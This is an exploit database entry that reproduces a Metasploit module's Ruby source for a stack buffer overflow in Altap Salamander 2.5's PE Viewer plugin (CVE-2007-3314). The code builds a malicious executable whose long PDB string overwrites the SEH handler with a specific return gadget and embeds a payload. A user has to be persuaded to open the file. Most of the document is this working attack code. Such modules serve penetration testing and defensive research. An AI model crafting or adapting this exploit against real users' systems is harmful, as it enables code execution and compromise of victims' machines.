Altap Salamander 2.5 PE Viewer Buffer Overflow

2009-08-30T02:18:33
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ALTAP_SALAMANDER_PDB
Type metasploit
Reporter Rapid7
Modified 2020-01-15T01:47:27

Description

This module exploits a buffer overflow in Altap Salamander <= v2.5. By creating a malicious file and convincing a user to view the file with the Portable Executable Viewer plugin within a vulnerable version of Salamander, the PDB file string is copied onto the stack and the SEH can be overwritten.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
      'Description'    =&gt; %q{
          This module exploits a buffer overflow in Altap Salamander &lt;= v2.5.
          By creating a malicious file and convincing a user to view the file with
          the Portable Executable Viewer plugin within a vulnerable version of
          Salamander, the PDB file string is copied onto the stack and the
          SEH can be overwritten.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt; [ 'aushack' ],
      'References'     =&gt;
        [
          [ 'CVE', '2007-3314' ],
          [ 'BID', '24557' ],
          [ 'OSVDB', '37579' ],
          [ 'URL', 'http://vuln.sg/salamander25-en.html' ],
        ],
      'DefaultOptions' =&gt;
        {
          'EXITFUNC' =&gt; 'process',
          'DisablePayloadHandler' =&gt; true
        },
      'Payload'        =&gt;
        {
          'Space'    =&gt; 1024,
          'BadChars' =&gt; "\x00\x0d\x0a=:\\/%$^&*",
          'StackAdjustment' =&gt; -3500,
        },
      'Platform' =&gt; 'win',
      'Targets'        =&gt;
        [
          [ 'Universal Salamander 2.5', { 'Ret' =&gt; 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
        ],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; 'Jun 19 2007',
      'DefaultTarget'  =&gt; 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.',  'msf-salamander-pdb.exe'])
        ])

  end

  def exploit

    seh = generate_seh_payload(target.ret)

    # load the static pdb file beginning
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
    fd = File.open(path, "rb")
    sploit = fd.read(fd.stat.size)
    fd.close

    sploit &lt;&lt; rand_text_alphanumeric(1098) + seh
    sploit &lt;&lt; ".pdb"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end
end